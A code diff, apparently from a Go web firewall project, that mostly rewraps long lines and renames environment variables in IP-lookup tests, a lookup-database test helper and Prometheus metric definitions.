|
||||||
" is not a .mmdb file: error opening database: invalid MaxMind DB file",
|
" is not a .mmdb file: error opening database: invalid MaxMind DB file",
|
||||||
} {
|
} {
|
||||||
_, err := OpenFile(FileParams{
|
_, err := OpenFile(FileParams{
|
||||||
@@ -122,7 +138,9 @@ func TestFileThatCannotBeReadIsAnError(t *testing.T) {
|
|||||||
// reading due by then is done. The test sends the changes itself, as the
|
// reading due by then is done. The test sends the changes itself, as the
|
||||||
// watch of a directory cannot run in a bubble.
|
// watch of a directory cannot run in a bubble.
|
||||||
|
|
||||||
func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(t *testing.T) {
|
func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -137,7 +155,8 @@ func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(t *testing.T) {
|
|||||||
other := filepath.Join(dir, "replacement.mmdb")
|
other := filepath.Join(dir, "replacement.mmdb")
|
||||||
writeDatabase(t, other, "KP")
|
writeDatabase(t, other, "KP")
|
||||||
|
|
||||||
replacement, err := os.ReadFile(other) //nolint:gosec // a file the test wrote
|
//nolint:gosec // a file the test wrote
|
||||||
|
replacement, err := os.ReadFile(other)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("read %s: %v", other, err)
|
t.Fatalf("read %s: %v", other, err)
|
||||||
}
|
}
|
||||||
@@ -176,15 +195,20 @@ func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(t *testing.T) {
|
|||||||
wantCountry(t, f, "KP")
|
wantCountry(t, f, "KP")
|
||||||
|
|
||||||
if !f.LastRead().Equal(time.Now()) || f.ReadFailures() != 0 {
|
if !f.LastRead().Equal(time.Now()) || f.ReadFailures() != 0 {
|
||||||
t.Errorf("read at %s, with %d failures; want read now, with none",
|
t.Errorf(
|
||||||
f.LastRead(), f.ReadFailures())
|
"read at %s, with %d failures; want read now, with none",
|
||||||
|
f.LastRead(),
|
||||||
|
f.ReadFailures(),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
wantAlerts(t, queue)
|
wantAlerts(t, queue)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T) {
|
func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -206,8 +230,12 @@ func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T)
|
|||||||
wantCountry(t, f, "DE")
|
wantCountry(t, f, "DE")
|
||||||
|
|
||||||
if !f.LastRead().Equal(read) || f.ReadFailures() != 1 {
|
if !f.LastRead().Equal(read) || f.ReadFailures() != 1 {
|
||||||
t.Errorf("read at %s, with %d failures; want read at %s, with one",
|
t.Errorf(
|
||||||
f.LastRead(), f.ReadFailures(), read)
|
"read at %s, with %d failures; want read at %s, with one",
|
||||||
|
f.LastRead(),
|
||||||
|
f.ReadFailures(),
|
||||||
|
read,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
wantAlerts(t, queue, alerts.Alert{
|
wantAlerts(t, queue, alerts.Alert{
|
||||||
@@ -216,7 +244,7 @@ func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T)
|
|||||||
Reason: "the lookup database cannot be read, and the one read before stays in use",
|
Reason: "the lookup database cannot be read, and the one read before stays in use",
|
||||||
Detail: map[string]any{
|
Detail: map[string]any{
|
||||||
"file": path,
|
"file": path,
|
||||||
"error": "SWW_WAF_LOOKUP_DB_PATH " + path + " is not a .mmdb file: " +
|
"error": "SWW_LOOKUP_DB_PATH " + path + " is not a .mmdb file: " +
|
||||||
"error opening database: invalid MaxMind DB file",
|
"error opening database: invalid MaxMind DB file",
|
||||||
},
|
},
|
||||||
})
|
})
|
||||||
@@ -289,7 +317,11 @@ func writeDatabase(t *testing.T, path, country string) {
|
|||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
lookuptest.Write(t, path, map[string]lookuptest.Network{
|
lookuptest.Write(t, path, map[string]lookuptest.Network{
|
||||||
testNetblock: {ASN: "AS64496", ASName: "Example Net", Country: country},
|
testNetblock: {
|
||||||
|
ASN: "AS64496",
|
||||||
|
ASName: "Example Net",
|
||||||
|
Country: country,
|
||||||
|
},
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -349,7 +381,8 @@ func wantAlerts(t *testing.T, queue *alerts.Queue, want ...alerts.Alert) {
|
|||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||||
if len(waiting) != len(want) || (len(want) > 0 && !reflect.DeepEqual(waiting, want)) {
|
if len(waiting) != len(want) ||
|
||||||
|
(len(want) > 0 && !reflect.DeepEqual(waiting, want)) {
|
||||||
t.Errorf("alerts waiting %+v, want %+v", waiting, want)
|
t.Errorf("alerts waiting %+v, want %+v", waiting, want)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
// Package lookup looks up each client's AS number and country, through
|
// Package lookup looks up each client's AS number and country, through
|
||||||
// the GeoJS web service or in the lookup database, the IPinfo Lite file
|
// the GeoJS web service or in the lookup database, the IPinfo Lite file
|
||||||
// SWW_WAF_LOOKUP_DB_PATH names. GeoJS's answers are kept in memory, for at
|
// SWW_LOOKUP_DB_PATH names. GeoJS's answers are kept in memory, for at
|
||||||
// most 100,000 clients and for 7 days each, and are written to
|
// most 100,000 clients and for 7 days each, and are written to
|
||||||
// lookups.json and read from it by the state package.
|
// lookups.json and read from it by the state package.
|
||||||
package lookup
|
package lookup
|
||||||
@@ -66,7 +66,7 @@ type Params struct {
|
|||||||
URL string
|
URL string
|
||||||
// Timeout is how long a request waits for its client's first answer,
|
// Timeout is how long a request waits for its client's first answer,
|
||||||
// and how long a request to GeoJS may take before it is abandoned
|
// and how long a request to GeoJS may take before it is abandoned
|
||||||
// (SWW_WAF_LOOKUP_TIMEOUT).
|
// (SWW_LOOKUP_TIMEOUT).
|
||||||
Timeout time.Duration
|
Timeout time.Duration
|
||||||
// Wait is true when a setting needs each request's answer before the
|
// Wait is true when a setting needs each request's answer before the
|
||||||
// request goes on. Otherwise no request waits for one.
|
// request goes on. Otherwise no request waits for one.
|
||||||
@@ -211,7 +211,10 @@ func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer {
|
|||||||
|
|
||||||
// LookUpWithoutWaiting is LookUp for a request that does not need the answer,
|
// LookUpWithoutWaiting is LookUp for a request that does not need the answer,
|
||||||
// whatever Wait says: it returns the zero Answer at once when none is kept.
|
// whatever Wait says: it returns the zero Answer at once when none is kept.
|
||||||
func (g *GeoJS) LookUpWithoutWaiting(ctx context.Context, client netip.Prefix) Answer {
|
func (g *GeoJS) LookUpWithoutWaiting(
|
||||||
|
ctx context.Context,
|
||||||
|
client netip.Prefix,
|
||||||
|
) Answer {
|
||||||
answer, _ := g.answerOrWait(ctx, client, false)
|
answer, _ := g.answerOrWait(ctx, client, false)
|
||||||
|
|
||||||
return answer
|
return answer
|
||||||
@@ -429,14 +432,21 @@ func (g *GeoJS) keep(
|
|||||||
}
|
}
|
||||||
|
|
||||||
if err == nil && leftOut > 0 {
|
if err == nil && leftOut > 0 {
|
||||||
err = fmt.Errorf("%w %d of %d addresses", errLeftOut, leftOut, len(clients))
|
err = fmt.Errorf(
|
||||||
|
"%w %d of %d addresses",
|
||||||
|
errLeftOut,
|
||||||
|
leftOut,
|
||||||
|
len(clients),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
g.metrics.GeoJSFailures.Inc()
|
g.metrics.GeoJSFailures.Inc()
|
||||||
|
|
||||||
g.retryDelay = min(max(retryDelayFactor*g.retryDelay, firstRetryDelay),
|
g.retryDelay = min(
|
||||||
maxRetryDelay)
|
max(retryDelayFactor*g.retryDelay, firstRetryDelay),
|
||||||
|
maxRetryDelay,
|
||||||
|
)
|
||||||
g.retryAt = now.Add(g.retryDelay)
|
g.retryAt = now.Add(g.retryDelay)
|
||||||
g.asking = false
|
g.asking = false
|
||||||
|
|
||||||
@@ -482,7 +492,12 @@ func (g *GeoJS) request(
|
|||||||
ctx, cancel := context.WithTimeout(ctx, g.timeout)
|
ctx, cancel := context.WithTimeout(ctx, g.timeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, g.url, http.NoBody)
|
req, err := http.NewRequestWithContext(
|
||||||
|
ctx,
|
||||||
|
http.MethodGet,
|
||||||
|
g.url,
|
||||||
|
http.NoBody,
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("make the request to GeoJS: %w", err)
|
return nil, fmt.Errorf("make the request to GeoJS: %w", err)
|
||||||
}
|
}
|
||||||
@@ -514,7 +529,8 @@ func (g *GeoJS) request(
|
|||||||
CountryCode string `json:"country_code"`
|
CountryCode string `json:"country_code"`
|
||||||
}
|
}
|
||||||
|
|
||||||
err = json.NewDecoder(io.LimitReader(res.Body, maxResponseBytes)).Decode(&answers)
|
err = json.NewDecoder(io.LimitReader(res.Body, maxResponseBytes)).
|
||||||
|
Decode(&answers)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("read GeoJS's answer: %w", err)
|
return nil, fmt.Errorf("read GeoJS's answer: %w", err)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -85,8 +85,13 @@ func TestLookUpWithoutWaitingAsksGeoJSAndGoesOnAtOnce(t *testing.T) {
|
|||||||
began := time.Now()
|
began := time.Now()
|
||||||
answer := g.LookUpWithoutWaiting(t.Context(), client)
|
answer := g.LookUpWithoutWaiting(t.Context(), client)
|
||||||
|
|
||||||
if waited := time.Since(began); waited != 0 || answer != (lookup.Answer{}) {
|
if waited := time.Since(began); waited != 0 ||
|
||||||
t.Errorf("got %+v after %s, want no answer at once", answer, waited)
|
answer != (lookup.Answer{}) {
|
||||||
|
t.Errorf(
|
||||||
|
"got %+v after %s, want no answer at once",
|
||||||
|
answer,
|
||||||
|
waited,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
waitForRequests(t, geojs, 1)
|
waitForRequests(t, geojs, 1)
|
||||||
@@ -100,7 +105,11 @@ func TestLookUpWithoutWaitingAsksGeoJSAndGoesOnAtOnce(t *testing.T) {
|
|||||||
waitForCountry(t, g, clock, client, germany)
|
waitForCountry(t, g, clock, client, germany)
|
||||||
|
|
||||||
if got := g.LookUpWithoutWaiting(t.Context(), client).Country; got != germany {
|
if got := g.LookUpWithoutWaiting(t.Context(), client).Country; got != germany {
|
||||||
t.Errorf("the kept answer gives the country %q, want %q", got, germany)
|
t.Errorf(
|
||||||
|
"the kept answer gives the country %q, want %q",
|
||||||
|
got,
|
||||||
|
germany,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -120,7 +129,9 @@ func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) {
|
|||||||
|
|
||||||
var earlier sync.WaitGroup
|
var earlier sync.WaitGroup
|
||||||
|
|
||||||
earlier.Go(func() { g.LookUp(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) })
|
earlier.Go(
|
||||||
|
func() { g.LookUp(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) },
|
||||||
|
)
|
||||||
defer earlier.Wait()
|
defer earlier.Wait()
|
||||||
|
|
||||||
waitForRequests(t, geojs, 1)
|
waitForRequests(t, geojs, 1)
|
||||||
@@ -152,7 +163,9 @@ func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(t *testing.T) {
|
func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -197,7 +210,11 @@ func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(t *testing
|
|||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
if waited != longerTimeout {
|
if waited != longerTimeout {
|
||||||
t.Errorf("waited %s for the answer, want %s", waited, longerTimeout)
|
t.Errorf(
|
||||||
|
"waited %s for the answer, want %s",
|
||||||
|
waited,
|
||||||
|
longerTimeout,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
wantFailures(t, m, 1)
|
wantFailures(t, m, 1)
|
||||||
@@ -340,7 +357,11 @@ func TestWithoutWaitTheRequestGoesOnAtOnceAndTheAnswerIsGivenWhenItComes(
|
|||||||
|
|
||||||
got := g.LookUp(t.Context(), client)
|
got := g.LookUp(t.Context(), client)
|
||||||
if took := time.Since(began); took != 0 || got != (lookup.Answer{}) {
|
if took := time.Since(began); took != 0 || got != (lookup.Answer{}) {
|
||||||
t.Errorf("waited %s for %+v, want no wait and no answer", took, got)
|
t.Errorf(
|
||||||
|
"waited %s for %+v, want no wait and no answer",
|
||||||
|
took,
|
||||||
|
got,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
waitForRequests(t, geojs, 1)
|
waitForRequests(t, geojs, 1)
|
||||||
@@ -391,7 +412,10 @@ func TestFailureIsLoggedWithoutTheAddressesAskedAbout(t *testing.T) {
|
|||||||
logged := log.String()
|
logged := log.String()
|
||||||
if !strings.Contains(logged, "asking GeoJS failed") ||
|
if !strings.Contains(logged, "asking GeoJS failed") ||
|
||||||
strings.Contains(logged, "203.0.113.9") {
|
strings.Contains(logged, "203.0.113.9") {
|
||||||
t.Errorf("logged %q, want the failure without the address asked about", logged)
|
t.Errorf(
|
||||||
|
"logged %q, want the failure without the address asked about",
|
||||||
|
logged,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -430,7 +454,10 @@ func TestFailureRaisesASourceFailureAlertOncePerCooldown(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if queue.Suppressed() != 1 {
|
if queue.Suppressed() != 1 {
|
||||||
t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
|
t.Errorf(
|
||||||
|
"%d alerts held back, want the repeat",
|
||||||
|
queue.Suppressed(),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -454,11 +481,21 @@ func TestWaitingClientsAreAskedAboutInOneRequest(t *testing.T) {
|
|||||||
clock.advance(time.Second)
|
clock.advance(time.Second)
|
||||||
wantCountry(t, g, netip.MustParsePrefix("203.0.113.3/32"), germany)
|
wantCountry(t, g, netip.MustParsePrefix("203.0.113.3/32"), germany)
|
||||||
wantRequests(t, geojs, 2)
|
wantRequests(t, geojs, 2)
|
||||||
wantAsked(t, geojs, 1, "203.0.113.1", "203.0.113.2", "2001:db8:1:2::", "203.0.113.3")
|
wantAsked(
|
||||||
|
t,
|
||||||
|
geojs,
|
||||||
|
1,
|
||||||
|
"203.0.113.1",
|
||||||
|
"203.0.113.2",
|
||||||
|
"2001:db8:1:2::",
|
||||||
|
"203.0.113.3",
|
||||||
|
)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(t *testing.T) {
|
func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -503,7 +540,10 @@ func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(t *testing
|
|||||||
|
|
||||||
asked := waitForRequests(t, geojs, requests+1)
|
asked := waitForRequests(t, geojs, requests+1)
|
||||||
if len(asked[requests]) != 23 {
|
if len(asked[requests]) != 23 {
|
||||||
t.Errorf("GeoJS was asked about %d clients, want 23", len(asked[requests]))
|
t.Errorf(
|
||||||
|
"GeoJS was asked about %d clients, want 23",
|
||||||
|
len(asked[requests]),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -531,8 +571,11 @@ func TestAtMost200AddressesInOneRequest(t *testing.T) {
|
|||||||
|
|
||||||
asked := waitForRequests(t, geojs, 3)
|
asked := waitForRequests(t, geojs, 3)
|
||||||
if len(asked[1]) != 200 || len(asked[2]) != 1 {
|
if len(asked[1]) != 200 || len(asked[2]) != 1 {
|
||||||
t.Errorf("GeoJS was asked about %d and then %d clients, want 200 and 1",
|
t.Errorf(
|
||||||
len(asked[1]), len(asked[2]))
|
"GeoJS was asked about %d and then %d clients, want 200 and 1",
|
||||||
|
len(asked[1]),
|
||||||
|
len(asked[2]),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -687,7 +730,11 @@ func (s *standIn) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
|||||||
|
|
||||||
switch {
|
switch {
|
||||||
case addr == unplaced:
|
case addr == unplaced:
|
||||||
item = map[string]any{"ip": addr, "asn": 64512, "organization_name": "Unknown"}
|
item = map[string]any{
|
||||||
|
"ip": addr,
|
||||||
|
"asn": 64512,
|
||||||
|
"organization_name": "Unknown",
|
||||||
|
}
|
||||||
case addr == leftOut && answers == answeringWithoutLeftOut:
|
case addr == leftOut && answers == answeringWithoutLeftOut:
|
||||||
continue
|
continue
|
||||||
case answers == answeringInLowerCase:
|
case answers == answeringInLowerCase:
|
||||||
@@ -804,7 +851,12 @@ func newClients() func() netip.Prefix {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// wantCountry checks the country g gives client.
|
// wantCountry checks the country g gives client.
|
||||||
func wantCountry(t *testing.T, g *lookup.GeoJS, client netip.Prefix, want string) {
|
func wantCountry(
|
||||||
|
t *testing.T,
|
||||||
|
g *lookup.GeoJS,
|
||||||
|
client netip.Prefix,
|
||||||
|
want string,
|
||||||
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
got := g.LookUp(t.Context(), client).Country
|
got := g.LookUp(t.Context(), client).Country
|
||||||
@@ -843,7 +895,11 @@ func wantAsked(t *testing.T, geojs *standIn, i int, want ...string) {
|
|||||||
|
|
||||||
// wantRequestsWithoutGeoJSAnswer checks how many requests m counts as having
|
// wantRequestsWithoutGeoJSAnswer checks how many requests m counts as having
|
||||||
// gone without an answer from GeoJS.
|
// gone without an answer from GeoJS.
|
||||||
func wantRequestsWithoutGeoJSAnswer(t *testing.T, m *metrics.Metrics, want float64) {
|
func wantRequestsWithoutGeoJSAnswer(
|
||||||
|
t *testing.T,
|
||||||
|
m *metrics.Metrics,
|
||||||
|
want float64,
|
||||||
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
got := testutil.ToFloat64(m.RequestsWithoutGeoJSAnswer)
|
got := testutil.ToFloat64(m.RequestsWithoutGeoJSAnswer)
|
||||||
@@ -883,7 +939,11 @@ func waitForRequests(t *testing.T, geojs *standIn, count int) [][]string {
|
|||||||
// It then checks that client's next request does not wait but has it asked
|
// It then checks that client's next request does not wait but has it asked
|
||||||
// about again in the background, after which g gives it the country want.
|
// about again in the background, after which g gives it the country want.
|
||||||
func waitForCountry(
|
func waitForCountry(
|
||||||
t *testing.T, g *lookup.GeoJS, clock *testClock, client netip.Prefix, want string,
|
t *testing.T,
|
||||||
|
g *lookup.GeoJS,
|
||||||
|
clock *testClock,
|
||||||
|
client netip.Prefix,
|
||||||
|
want string,
|
||||||
) {
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
|
|||||||
@@ -45,7 +45,11 @@ func Write(tb testing.TB, path string, networks map[string]Network) {
|
|||||||
|
|
||||||
// WriteRecords writes a lookup database at path that holds each record in
|
// WriteRecords writes a lookup database at path that holds each record in
|
||||||
// records for its netblock, and nothing for any other address.
|
// records for its netblock, and nothing for any other address.
|
||||||
func WriteRecords(tb testing.TB, path string, records map[string]mmdbtype.Map) {
|
func WriteRecords(
|
||||||
|
tb testing.TB,
|
||||||
|
path string,
|
||||||
|
records map[string]mmdbtype.Map,
|
||||||
|
) {
|
||||||
tb.Helper()
|
tb.Helper()
|
||||||
|
|
||||||
tree, err := mmdbwriter.New(mmdbwriter.Options{
|
tree, err := mmdbwriter.New(mmdbwriter.Options{
|
||||||
|
|||||||
@@ -59,7 +59,10 @@ func TestLoadedAnswersAreKeptFor7DaysFromWhenGeoJSGaveThem(t *testing.T) {
|
|||||||
g.Load([]lookup.Answer{kept, stale})
|
g.Load([]lookup.Answer{kept, stale})
|
||||||
|
|
||||||
if got := g.Snapshot(); !slices.Equal(got, []lookup.Answer{kept}) {
|
if got := g.Snapshot(); !slices.Equal(got, []lookup.Answer{kept}) {
|
||||||
t.Errorf("kept %+v, want only the answer GeoJS gave less than 7 days ago", got)
|
t.Errorf(
|
||||||
|
"kept %+v, want only the answer GeoJS gave less than 7 days ago",
|
||||||
|
got,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
wantCountry(t, g, kept.Client, "FR")
|
wantCountry(t, g, kept.Client, "FR")
|
||||||
|
|||||||
@@ -41,9 +41,11 @@ type busiest struct {
|
|||||||
// for the topN busiest countries.
|
// for the topN busiest countries.
|
||||||
func newCountries(topN int) *busiest {
|
func newCountries(topN int) *busiest {
|
||||||
countries := newBusiest(topN, "country", "the client's country")
|
countries := newBusiest(topN, "country", "the client's country")
|
||||||
countries.refused = counterVec("sww_country_list_refusals_total",
|
countries.refused = counterVec(
|
||||||
"Requests SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
|
"sww_country_list_refusals_total",
|
||||||
[]string{"country"})
|
"Requests SWW_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
|
||||||
|
[]string{"country"},
|
||||||
|
)
|
||||||
|
|
||||||
return countries
|
return countries
|
||||||
}
|
}
|
||||||
@@ -90,7 +92,11 @@ func (b *busiest) Collect(ch chan<- prometheus.Metric) {
|
|||||||
// vecs returns the metrics: by AS number, those of requests and bytes; by
|
// vecs returns the metrics: by AS number, those of requests and bytes; by
|
||||||
// country, the refusals by the country list as well.
|
// country, the refusals by the country list as well.
|
||||||
func (b *busiest) vecs() []*prometheus.CounterVec {
|
func (b *busiest) vecs() []*prometheus.CounterVec {
|
||||||
vecs := []*prometheus.CounterVec{b.requests, b.requestBytes, b.responseBytes}
|
vecs := []*prometheus.CounterVec{
|
||||||
|
b.requests,
|
||||||
|
b.requestBytes,
|
||||||
|
b.responseBytes,
|
||||||
|
}
|
||||||
if b.refused != nil {
|
if b.refused != nil {
|
||||||
vecs = append(vecs, b.refused)
|
vecs = append(vecs, b.refused)
|
||||||
}
|
}
|
||||||
|
|||||||
+119
-57
@@ -62,8 +62,8 @@ type Metrics struct {
|
|||||||
|
|
||||||
// New returns the metrics, with the Go runtime's and the process's own.
|
// New returns the metrics, with the Go runtime's and the process's own.
|
||||||
// topN is how many countries and how many AS numbers get series of their
|
// topN is how many countries and how many AS numbers get series of their
|
||||||
// own (SWW_WAF_METRICS_TOP_N). Every metric carries instanceName
|
// own (SWW_METRICS_TOP_N). Every metric carries instanceName
|
||||||
// (SWW_WAF_INSTANCE_NAME) as its label instance.
|
// (SWW_INSTANCE_NAME) as its label instance.
|
||||||
//
|
//
|
||||||
//nolint:funlen // a few lines for each metric, a list that grows with them
|
//nolint:funlen // a few lines for each metric, a list that grows with them
|
||||||
func New(topN int, instanceName string) *Metrics {
|
func New(topN int, instanceName string) *Metrics {
|
||||||
@@ -79,14 +79,19 @@ func New(topN int, instanceName string) *Metrics {
|
|||||||
Name: "sww_requests_in_flight",
|
Name: "sww_requests_in_flight",
|
||||||
Help: "Requests under way.",
|
Help: "Requests under way.",
|
||||||
}),
|
}),
|
||||||
requests: counterVec("sww_requests_total",
|
requests: counterVec(
|
||||||
"Requests, by the class of their status and their action.", byStatus),
|
"sww_requests_total",
|
||||||
|
"Requests, by the class of their status and their action.",
|
||||||
|
byStatus,
|
||||||
|
),
|
||||||
requestBytes: counterVec("sww_request_bytes_total",
|
requestBytes: counterVec("sww_request_bytes_total",
|
||||||
"Request body bytes, by the class of the status and the action.",
|
"Request body bytes, by the class of the status and the action.",
|
||||||
byStatus),
|
byStatus),
|
||||||
responseBytes: counterVec("sww_response_bytes_total",
|
responseBytes: counterVec(
|
||||||
|
"sww_response_bytes_total",
|
||||||
"Response body bytes, by the class of the status and the action.",
|
"Response body bytes, by the class of the status and the action.",
|
||||||
byStatus),
|
byStatus,
|
||||||
|
),
|
||||||
requestDuration: prometheus.NewHistogram(prometheus.HistogramOpts{
|
requestDuration: prometheus.NewHistogram(prometheus.HistogramOpts{
|
||||||
Name: "sww_request_duration_seconds",
|
Name: "sww_request_duration_seconds",
|
||||||
Help: "How long requests took, from their arrival to their end.",
|
Help: "How long requests took, from their arrival to their end.",
|
||||||
@@ -95,15 +100,20 @@ func New(topN int, instanceName string) *Metrics {
|
|||||||
Name: "sww_upstream_duration_seconds",
|
Name: "sww_upstream_duration_seconds",
|
||||||
Help: "How long requests passed to the app took, from then to their end.",
|
Help: "How long requests passed to the app took, from then to their end.",
|
||||||
}),
|
}),
|
||||||
rateLimitHits: counterVec("sww_rate_limit_hits_total",
|
rateLimitHits: counterVec(
|
||||||
|
"sww_rate_limit_hits_total",
|
||||||
"Requests that broke a rate limit, a byte limit or the error burst, by "+
|
"Requests that broke a rate limit, a byte limit or the error burst, by "+
|
||||||
"its window and its kind, requests, bytes or refusals.",
|
"its window and its kind, requests, bytes or refusals.",
|
||||||
[]string{"window", "kind"}),
|
[]string{"window", "kind"},
|
||||||
|
),
|
||||||
offences: counterVec("sww_offences_total",
|
offences: counterVec("sww_offences_total",
|
||||||
"Offences, by kind.", []string{"kind"}),
|
"Offences, by kind.", []string{"kind"}),
|
||||||
coreRuleSetMatches: counterVec("sww_core_rule_set_matches_total",
|
coreRuleSetMatches: counterVec(
|
||||||
"Requests that matched a rule of the Core Rule Set, by SWW_WAF_CORE_RULE_SET_MODE "+
|
"sww_core_rule_set_matches_total",
|
||||||
"and the rule's id.", []string{"mode", "rule_id"}),
|
"Requests that matched a rule of the Core Rule Set, by SWW_WAF_MODE "+
|
||||||
|
"and the rule's id.",
|
||||||
|
[]string{"mode", "rule_id"},
|
||||||
|
),
|
||||||
countries: newCountries(topN),
|
countries: newCountries(topN),
|
||||||
asns: newASNs(topN),
|
asns: newASNs(topN),
|
||||||
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
|
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
|
||||||
@@ -114,26 +124,41 @@ func New(topN int, instanceName string) *Metrics {
|
|||||||
Name: "sww_geojs_failures_total",
|
Name: "sww_geojs_failures_total",
|
||||||
Help: "Requests to GeoJS that failed.",
|
Help: "Requests to GeoJS that failed.",
|
||||||
}),
|
}),
|
||||||
RequestsWithoutGeoJSAnswer: prometheus.NewCounter(prometheus.CounterOpts{
|
RequestsWithoutGeoJSAnswer: prometheus.NewCounter(
|
||||||
Name: "sww_requests_without_geojs_answer_total",
|
prometheus.CounterOpts{
|
||||||
Help: "Requests that needed their client's answer from GeoJS and " +
|
Name: "sww_requests_without_geojs_answer_total",
|
||||||
"went on without it, because GeoJS had not given it in time.",
|
Help: "Requests that needed their client's answer from GeoJS and " +
|
||||||
}),
|
"went on without it, because GeoJS had not given it in time.",
|
||||||
|
},
|
||||||
|
),
|
||||||
stateFileWrites: counterVec("sww_state_file_writes_total",
|
stateFileWrites: counterVec("sww_state_file_writes_total",
|
||||||
"Writes of each state or cache file.", byFile),
|
"Writes of each state or cache file.", byFile),
|
||||||
stateFileWriteFailures: counterVec("sww_state_file_write_failures_total",
|
stateFileWriteFailures: counterVec(
|
||||||
"Writes of each state or cache file that failed.", byFile),
|
"sww_state_file_write_failures_total",
|
||||||
stateFileLastWrite: gaugeVec("sww_state_file_last_write_timestamp_seconds",
|
"Writes of each state or cache file that failed.",
|
||||||
|
byFile,
|
||||||
|
),
|
||||||
|
stateFileLastWrite: gaugeVec(
|
||||||
|
"sww_state_file_last_write_timestamp_seconds",
|
||||||
"When each state or cache file was last written, in seconds since 1970.",
|
"When each state or cache file was last written, in seconds since 1970.",
|
||||||
byFile),
|
byFile,
|
||||||
stateFileSize: gaugeVec("sww_state_file_size_bytes",
|
),
|
||||||
"The size of each state or cache file, as it was last written.", byFile),
|
stateFileSize: gaugeVec(
|
||||||
stateFileEditsTakenIn: counterVec("sww_state_file_edits_taken_in_total",
|
"sww_state_file_size_bytes",
|
||||||
"Edits of each state or cache file taken in while running.", byFile),
|
